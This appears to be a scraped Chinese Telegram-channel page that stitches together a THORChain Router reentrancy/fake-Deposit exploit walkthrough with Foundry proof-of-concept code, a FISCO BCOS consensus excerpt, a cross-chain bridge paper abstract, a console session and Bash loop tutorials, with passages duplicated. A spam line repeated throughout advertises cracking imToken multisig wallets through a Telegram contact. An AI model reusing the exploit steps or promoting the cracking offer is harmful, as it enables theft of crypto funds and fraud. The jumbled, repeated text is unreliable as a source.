概述攻击步骤
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
1. step1 攻击者创建攻击合约A,等待后面的重入时机。
2. step2 攻击者调用 THORChain 的 Router 合约的 returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo)。第一个参数传入攻击合约A的地址。
3. step3 Route转账ETH,调用攻击合约A的 fallback 方法。
4. step4 攻击合约A的 fallback,emit一个 Deposit 事件,Memo随便写,只要写的不符合规范就行。
5. step5 THORChain 验证节点,监听到 Deposit 事件,就认为有用户存钱了,但是解析Memo字段失败,就从金库中给用户退款。(其实用户没转钱,只是伪造了一个 Deposit 事件。 )
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
This media is not supported in your browser
VIEW IN TELEGRAM
sealerA的子节点sealerB的主要处理流程如下
(1) sealerB收到SealerA转发过来的Prepare包后,同样继续将该Prepare包转发给sealerB的子节点
(2) sealerB开始处理Prepare包,首先从交易池中获取命中的交易,填充到Prepare包的区块中,并选取节点获取缺失的交易:
(3) sealerB收到被请求节点回复的交易后,填充Prepare包内区块,并随机选取33%(可配)节点广播Prepare包状态
(4) 其他节点收到sealerB的状态包后,将其sealerB的最新状态包更新到缓存中
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
(1) sealerB收到SealerA转发过来的Prepare包后,同样继续将该Prepare包转发给sealerB的子节点
(2) sealerB开始处理Prepare包,首先从交易池中获取命中的交易,填充到Prepare包的区块中,并选取节点获取缺失的交易:
1. 若sealerB缓存来自节点sealerA的prepareStatus.blockHash等于Prepare.blockHash,则直接向父节点sealerA请求缺失交易
2. 若sealerB缓存的sealerA状态包哈希不等于Prepare.blockHash,但存在来自其他节点C的prepareStatus.blockHash等于prepare.blockHash,则向C请求缺失交易
3. 若sealerB缓存的任何节点prepareStatus的哈希均不但等于prepare.blockHash,最多等待100ms(可配)后,向Leader请求缺失的交易
(3) sealerB收到被请求节点回复的交易后,填充Prepare包内区块,并随机选取33%(可配)节点广播Prepare包状态
(4) 其他节点收到sealerB的状态包后,将其sealerB的最新状态包更新到缓存中
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
Abstract
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
跨链桥已经成为支持异构区块链之间资产互操作性的最流行的解决方案。然而,在提供高效灵活的跨链资产转移的同时,涉及链上智能合约和链下程序的复杂工作流程导致了新出现的安全问题。在过去的一年里,发生了十多起严重的跨链桥袭击事件,造成了数十亿的损失。由于很少有研究关注跨链桥的安全性,社区仍然缺乏减轻这一重大威胁的知识和工具。为了弥补这一差距,我们进行了关于跨链桥梁安全性的首次研究。我们记录了三种新的安全漏洞类别,并提出了一组安全属性和模式来描述它们。基于这些模式,我们设计了Xscope,这是一个自动工具,用于发现跨链桥中的安全违规行为并检测真实世界的攻击。我们在四个流行的跨链桥上评估Xscope。它成功地检测到所有已知的攻击,并发现以前未报告的可疑攻击。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
开始开始POC逻辑
写了很多次POC,这次是唯一一次,不是攻击合约主动调用的攻击流程。
注意,returnVaultAssets 这个函数就不是给用户调用的,是给金库调用的。攻击人调用,就是看中了它能transfer ETH触发fallback,并且它是public的漏洞。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
写了很多次POC,这次是唯一一次,不是攻击合约主动调用的攻击流程。
攻击合约只有一个函数 fallback,被动等待Router的returnVaultAssets调用。
fallback执行后,也不会立刻成功,可能是几个区块后,验证者节点解析了 Deposit事件失败,决定退款,攻击者才会得到Vault的转账。
于是最终的结果需要验证节点来驱动。所以,这个POC写完了也无法验证结果。
contract ContractTest is Test{
event Deposit(address indexed to, address indexed asset, uint amount, string memo);
function setUp() public {
vm.createSelectFork('mainnet', 12878653 - 1);
}
fallback() external payable {
address vaultAddress = address(0xf56cba49337a624e94042e325ad6bc864436e370);
address XRUNEAddress = address(0x69fa0fee221ad11012bab0fdb45d444d3d2ce71c);
uint safeAmount = 20_867_082_192_584_947_929_101_400;
string memory memo = "10% VAR bounty would have prevented this";
emit Deposit(vaultAddress, XRUNEAddress, safeAmount, memo);
}
}注意,returnVaultAssets 这个函数就不是给用户调用的,是给金库调用的。攻击人调用,就是看中了它能transfer ETH触发fallback,并且它是public的漏洞。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
调用HelloWorld合约
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
# 查看当前块高
[group:1]> getBlockNumber
1
# 调用get接口获取name变量 此处的合约地址是deploy指令返回的地址
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 get
---------------------------------------------------------------------------------------------
Return code: 0
description: transaction executed successfully
Return message: Success
---------------------------------------------------------------------------------------------
Return values:
[
"Hello,World!"
]
---------------------------------------------------------------------------------------------
# 查看当前块高,块高不变,因为get接口不更改账本状态
[group:1]> getBlockNumber
1
# 调用set设置name
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 set "Hello, FISCO BCOS"
transaction hash: 0x7e742c44091e0d6e4e1df666d957d123116622ab90b718699ce50f54ed791f6e
---------------------------------------------------------------------------------------------
transaction status: 0x0
description: transaction executed successfully
---------------------------------------------------------------------------------------------
Output
Receipt message: Success
Return message: Success
---------------------------------------------------------------------------------------------
Event logs
Event: {}
# 再次查看当前块高,块高增加表示已出块,账本状态已更改
[group:1]> getBlockNumber
2
# 调用get接口获取name变量,检查设置是否生效
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 get
---------------------------------------------------------------------------------------------
Return code: 0
description: transaction executed successfully
Return message: Success
---------------------------------------------------------------------------------------------
Return values:
[
"Hello,FISCO BCOS"
]
---------------------------------------------------------------------------------------------
# 退出控制台
[group:1]> quit
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
until循环
until循环执行一系列命令直至条件为true时停止。until循环与while循环在处理方式上刚好相反。一般while循环优于until循环,但在某些时候,也只是极少数情况下,until循环更加有用。
until循环格式为:
command一般为条件表达式,如果返回值为false,则继续执行循环体内的语句,否则跳出循环。
范例1
使用 until 命令输出 0 ~ 4 的数字:
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
until循环执行一系列命令直至条件为true时停止。until循环与while循环在处理方式上刚好相反。一般while循环优于until循环,但在某些时候,也只是极少数情况下,until循环更加有用。
until循环格式为:
until command
do
Statement(s) to be executed until command is true
done
command一般为条件表达式,如果返回值为false,则继续执行循环体内的语句,否则跳出循环。
范例1
使用 until 命令输出 0 ~ 4 的数字:
#!/bin/bash
a=0
until [ ! $a -lt 5 ]
do
echo $a
a=`expr $a + 1`
done
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
用break跳出循环
在循环过程中,有时候需要在未达到循环结束条件时强制跳出循环,像大多数编程语言一样,Shell也使用break来跳出循环。
break命令允许跳出所有循环(终止执行后面的所有循环)。
范例1
下面的例子中,脚本进入死循环直至用户输入数字大于5。要跳出这个循环,返回到shell提示符下,就要使用break命令。
在嵌套循环中,break 命令后面还可以跟一个整数,表示跳出第几层循环。
范例2
下面是一个嵌套循环的例子,如果 var1 等于 2,并且 var2 等于 0,就跳出循环:
在循环过程中,有时候需要在未达到循环结束条件时强制跳出循环,像大多数编程语言一样,Shell也使用break来跳出循环。
break命令允许跳出所有循环(终止执行后面的所有循环)。
范例1
下面的例子中,脚本进入死循环直至用户输入数字大于5。要跳出这个循环,返回到shell提示符下,就要使用break命令。
#!/bin/bash
while :
do
echo -n "Input a number between 1 to 5: "
read aNum
case $aNum in
1|2|3|4|5) echo "Your number is $aNum!"
;;
*) echo "You do not select a number between 1 to 5, game is over!"
break
;;
esac
done
在嵌套循环中,break 命令后面还可以跟一个整数,表示跳出第几层循环。
范例2
下面是一个嵌套循环的例子,如果 var1 等于 2,并且 var2 等于 0,就跳出循环:
#!/bin/bash
for var1 in 1 2 3
do
for var2 in 0 5
do
if [ $var1 -eq 2 -a $var2 -eq 0 ]
then
break 2
else
echo "$var1 $var2"
fi
done
done
用continue继续循环
continue命令与break命令类似,只有一点差别,它不会跳出所有循环,仅仅跳出当前循环。
范例1
对break的例子进行修改:
运行代码发现,当输入大于5的数字时,该例中的循环不会结束,语句 echo "Game is over!" 永远不会被执行。
同样,continue 后面也可以跟一个数字,表示跳出第几层循环。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
continue命令与break命令类似,只有一点差别,它不会跳出所有循环,仅仅跳出当前循环。
范例1
对break的例子进行修改:
#!/bin/bash
while :
do
echo -n "Input a number between 1 to 5: "
read aNum
case $aNum in
1|2|3|4|5) echo "Your number is $aNum!"
;;
*) echo "You do not select a number between 1 to 5!"
continue
echo "Game is over!"
;;
esac
done
运行代码发现,当输入大于5的数字时,该例中的循环不会结束,语句 echo "Game is over!" 永远不会被执行。
同样,continue 后面也可以跟一个数字,表示跳出第几层循环。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg